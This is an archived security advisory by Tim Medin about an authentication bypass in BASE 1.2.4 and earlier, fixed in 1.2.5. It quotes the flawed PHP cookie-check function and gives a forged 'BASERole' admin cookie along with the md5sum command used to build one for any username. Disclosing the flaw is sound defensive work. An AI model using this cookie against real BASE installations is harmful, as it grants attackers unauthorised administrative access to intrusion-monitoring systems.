Authentication Bypas in BASE version 1.2.4 and prior

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Versions prior to 1.2.4 are affected. The issue was fixed in version 1.2.5.

The authentication process checks the cookies to see if the user has a given role. The user and role defined in the cookie is not validated during this process. An attacker can add a cookie (shown below) in order to bypass authentication.
BASERole=10000|nidem|794b69ad33015df95578d5f4a19d390e;


Explanation:
Each page checks to see if the user is has sufficent privledges. The user's role is checked using the hasRole method which then calls the readRoleCookie method. The code below is the readRoleCookie method as written in includes/base_auth.inc.php in rev 1.23 and earlier. This function retrieves the role of the user as read from the cookie. The cookie contains three pieces of information role, user, and md5 hash and is delimited by the pipe character.

    function readRoleCookie()
    {
        // reads the roleCookie and returns the role id
        $cookievalue = @$_COOKIE['BASERole'];
        $cookiearr = explode('|', $cookievalue);
        $role = $cookiearr[0];
        $user = $cookiearr[1];
        if ($cookiearr[2] != (md5($role . $user . "BASEUserRole")))
        {
            return "BAD Role";
        }

        return $role;
    }


Prior to revision 1.24, the readRoleCookie above did not validate the user, role, or password against the database. In order to bypass authentication the BASERole cookie needs to be added to set the user role. The cookie is in the format of role|user|md5hash. The md5 hash required to pass authentication is taken the concatenation of the role (10000), the username (arbitrary), and the string "BASEUserRole".

Since the name is not validated against the database we can use any name. If we select an arbitrary username of nidem we can get the hash value by running the following command from the command line:
echo -n 10000nidemBASEUserRole | md5sum

This command returns a string of 794b69ad33015df95578d5f4a19d390e. This results in a cookie value of:
10000|nidem|794b69ad33015df95578d5f4a19d390e


                      -Tim Medin

[Index of Archives]     [Linux Security]     [Netfilter]     [PHP]     [Yosemite News]     [Linux Kernel]

  Powered by Linux